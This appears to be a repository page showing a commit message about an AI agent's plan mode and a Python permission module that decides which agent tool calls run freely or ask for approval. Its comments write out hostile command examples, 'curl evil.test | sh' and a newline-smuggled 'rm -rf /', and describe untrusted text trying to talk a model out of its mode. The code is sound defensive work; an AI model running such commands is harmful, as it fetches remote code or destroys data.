f1933216f6
Plan mode produced a flat list of steps and then forgot it. Nothing told the
model to look before proposing, nothing let it ask when the scope was
ambiguous, and -- worst -- once execution started the plan was not in the prompt
at all, so it could not have kept it current if it had wanted to.
The shape is findings, objectives and phases of tasks now. Findings are the part
people skip and the part that makes a plan worth reading: what is actually
there, what surprised you, what the plan is working around. Plan mode is told to
research first and to ask with ask_user when the scope is genuinely ambiguous,
in one question rather than three.
steps is still always written, flattened from every phase in order. That is the
whole of the compatibility story: execute_plan reads it and needed no change,
and every row already on disk still works. services/plans.py:normalise is the
only place that knows version 1 existed -- a {title, steps} row comes back as
one phase, so the card, the harness and the Execute button have one shape to
deal with rather than two.
Chat.plan_message_id is what puts the plan in front of the model each turn, with
one primary-key lookup rather than a scan for "the newest message carrying a
plan" -- context_variables is synchronous and sits on the request path.
plan_update is offered only once there is a plan, because a tool for changing
something that does not exist costs a round to find out.
It is RISK_READ, and that sits in tension with notes_edit being RISK_WRITE, so:
risk is what a tool does to the world, and the world the four modes govern is
the machine. This cannot touch it. RISK_WRITE would put an approval card on
screen every time a task was ticked off -- four cards to carry out a four-task
plan, each approving a bookkeeping entry -- which is exactly the interruption
batching exists to prevent. A note is a durable artefact of the reader's that
outlives the chat; this is the chat's own record of what it is doing, nearer to
generation.status. An administrator who disagrees puts it in deny_default.
One thing that nearly went wrong quietly. A runner cannot write the message row,
since _persist is the single writer -- so plan_update returns the merged plan on
its event and the loop carries it. Both calls in a round would then have read
the same stale plan from the database and the second would have won. They merge
into AgentContext.plan instead, the snapshot seeded once when the context is
resolved. Both tools write event["plan"] so _persist stays one writer with one
rule; only plan_submit sets plan_final, which is what withdraws the tools.
The card does not re-render in place. The newest bubble carries the current plan
and older ones carry the plan as it was then -- that is what a transcript is
for, it needs no streaming machinery, and it makes "what did it think at step
three" answerable.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
232 lines
8.1 KiB
Python
232 lines
8.1 KiB
Python
"""What an agent chat is allowed to do without asking.
|
|
|
|
Four modes, one table, indexed by what a tool does to the world. Adding a mode
|
|
is a row; adding a risk class is a column. Anything that needs an `if mode ==`
|
|
somewhere else in the codebase is a sign this table is wrong rather than that
|
|
the table is insufficient.
|
|
|
|
The important thing about all of it: **this is consulted in the generation loop,
|
|
not written into the prompt.** A mode a model is merely told about is a mode a
|
|
model can be talked out of, and everything a model reads -- a web page, a
|
|
README, the output of a command it just ran -- is untrusted text that may be
|
|
trying to do exactly that.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import re
|
|
from dataclasses import dataclass
|
|
from fnmatch import fnmatch
|
|
|
|
from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE
|
|
|
|
MODE_MANUAL = "manual"
|
|
MODE_EDIT = "edit"
|
|
MODE_AUTO = "auto"
|
|
MODE_PLAN = "plan"
|
|
|
|
MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)
|
|
|
|
MODE_LABELS = {
|
|
MODE_MANUAL: "Manual",
|
|
MODE_EDIT: "Edit",
|
|
MODE_AUTO: "Auto",
|
|
MODE_PLAN: "Plan",
|
|
}
|
|
|
|
MODE_HINTS = {
|
|
MODE_MANUAL: "Everything is shown to you before it happens.",
|
|
MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
|
|
MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
|
|
MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
|
|
}
|
|
|
|
# What the *model* is told about the mode it is in. Different words from
|
|
# MODE_HINTS, which describes it to a person: this is about how to behave, and
|
|
# says the one thing that changes what a competent model does -- that being
|
|
# stopped for approval is normal and worth batching for.
|
|
MODE_GUIDANCE = {
|
|
MODE_MANUAL: (
|
|
"You are in **Manual** mode: everything you do is shown to them for "
|
|
"approval first. Expect to be interrupted, and say what you are about "
|
|
"to do before you do it."
|
|
),
|
|
MODE_EDIT: (
|
|
"You are in **Edit** mode: you may read and write files freely, but "
|
|
"every command is shown to them for approval first. Prefer reading and "
|
|
"writing files over shelling out where both would work."
|
|
),
|
|
MODE_AUTO: (
|
|
"You are in **Auto** mode: nothing is shown to them first. That is trust "
|
|
"rather than permission — be as careful as you would be if each step "
|
|
"were being watched, and stop to say so if you find yourself about to "
|
|
"do something you could not undo."
|
|
),
|
|
MODE_PLAN: (
|
|
"You are in **Plan** mode: read and explore freely, but change nothing. "
|
|
"Research before you propose anything — read the files, run the "
|
|
"read-only commands, look at what is actually there rather than at what "
|
|
"is usually there. If the scope is genuinely ambiguous, and only then, "
|
|
"ask with ask_user before planning rather than planning for the wrong "
|
|
"thing; put everything you need into one question. Then finish with "
|
|
"plan_submit: what you found, what the work is for, and the work itself "
|
|
"as phases of concrete tasks. Anything that writes or runs will be "
|
|
"stopped for approval, so do not rely on it."
|
|
),
|
|
}
|
|
|
|
ALLOW = "allow"
|
|
ASK = "ask"
|
|
|
|
# The whole feature. Read across a row to see what a mode means.
|
|
POLICY: dict[str, dict[str, str]] = {
|
|
MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
|
MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
|
|
MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
|
|
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
|
|
}
|
|
|
|
# A shell metacharacter makes a command line unmatchable, so it falls through to
|
|
# the mode's own verdict rather than to an allow-list entry. Without this,
|
|
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which
|
|
# is the whole ballgame. A deny list needs no such rule: failing open there
|
|
# returns you to the mode, while failing open on an allow list runs the command.
|
|
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
|
|
|
|
|
|
@dataclass(frozen=True)
|
|
class Decision:
|
|
verdict: str
|
|
reason: str = ""
|
|
|
|
|
|
@dataclass(frozen=True)
|
|
class Limits:
|
|
"""What one agent reply may spend.
|
|
|
|
Four axes because they fail differently. Wall clock stops a single slow
|
|
command eating an afternoon; `output_bytes` stops a model filling its own
|
|
context with build logs and having no room left to answer; and
|
|
`completion_tokens` stops one that keeps writing.
|
|
|
|
`steps` is the odd one out. It is a **runaway backstop, not a working
|
|
budget** -- an agent reply is meant to run until the task is finished, and a
|
|
step count low enough to be the thing that ends it is a count that ends it
|
|
halfway. It was 40, which is a working budget, and it was reached. Anything
|
|
that wants a real ceiling should set `completion_tokens`, which measures
|
|
what a long reply actually costs.
|
|
|
|
`completion_tokens` of 0 means no ceiling, the same convention `index_chars`
|
|
uses in the settings store.
|
|
"""
|
|
|
|
steps: int = 200
|
|
wall_seconds: float = 900.0
|
|
output_bytes: int = 1024 * 1024
|
|
completion_tokens: int = 200_000
|
|
|
|
|
|
def subject(tool_name: str, command: str = "") -> str | None:
|
|
"""What a pattern is matched against, or None when nothing may match it.
|
|
|
|
For everything but a command it is the tool name, so `file_read` in an
|
|
allow list means "reading files never asks". For `shell_run` it is the
|
|
command line, normalised -- unless it contains anything that composes two
|
|
commands into one, in which case no pattern is allowed to match at all.
|
|
"""
|
|
if tool_name != "shell_run":
|
|
return tool_name
|
|
raw = command or ""
|
|
# Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
|
|
# first would turn "git status\nrm -rf /" into a single innocent-looking
|
|
# line and let it match `git *` -- a newline separates two commands exactly
|
|
# as a semicolon does.
|
|
if _UNSAFE.search(raw):
|
|
return None
|
|
line = " ".join(raw.split())
|
|
return line or None
|
|
|
|
|
|
def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
|
|
if candidate is None:
|
|
return ""
|
|
for pattern in patterns:
|
|
if fnmatch(candidate, pattern):
|
|
return pattern
|
|
return ""
|
|
|
|
|
|
def decide(
|
|
*,
|
|
mode: str,
|
|
risk: str,
|
|
tool_name: str,
|
|
command: str = "",
|
|
allow: tuple[str, ...] = (),
|
|
deny: tuple[str, ...] = (),
|
|
) -> Decision:
|
|
"""What to do about one call.
|
|
|
|
The order is the design:
|
|
|
|
1. A deny wins before everything, **including Auto**. A deny list that Auto
|
|
ignores is not a deny list, it is a suggestion.
|
|
2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
|
|
what the tool is for, and a mode that skipped it would answer the
|
|
model's question on the reader's behalf.
|
|
3. An allow-list hit runs it.
|
|
4. Otherwise the table.
|
|
|
|
An unrecognised mode is treated as Manual, not Auto: a row that predates a
|
|
rename has to fail towards asking.
|
|
"""
|
|
candidate = subject(tool_name, command)
|
|
|
|
hit = _matches(deny, candidate)
|
|
if hit:
|
|
return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
|
|
|
|
if risk == RISK_ASK:
|
|
return Decision(ASK, "")
|
|
|
|
if mode not in POLICY:
|
|
return Decision(ASK, f"“{mode}” is not a mode I know, so I am asking.")
|
|
|
|
hit = _matches(allow, candidate)
|
|
if hit:
|
|
return Decision(ALLOW, f"“{hit}” is on the list of things to allow.")
|
|
|
|
verdict = POLICY[mode].get(risk, ASK)
|
|
if verdict == ALLOW:
|
|
return Decision(ALLOW, "")
|
|
|
|
label = MODE_LABELS.get(mode, mode)
|
|
return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")
|
|
|
|
|
|
def _verb(risk: str) -> str:
|
|
return {
|
|
RISK_READ: "reads",
|
|
RISK_WRITE: "changes a file",
|
|
RISK_EXECUTE: "runs a command",
|
|
}.get(risk, "does this")
|
|
|
|
|
|
__all__ = [
|
|
"ALLOW",
|
|
"ASK",
|
|
"MODES",
|
|
"MODE_AUTO",
|
|
"MODE_EDIT",
|
|
"MODE_GUIDANCE",
|
|
"MODE_HINTS",
|
|
"MODE_LABELS",
|
|
"MODE_MANUAL",
|
|
"MODE_PLAN",
|
|
"POLICY",
|
|
"Decision",
|
|
"Limits",
|
|
"decide",
|
|
"subject",
|
|
]
|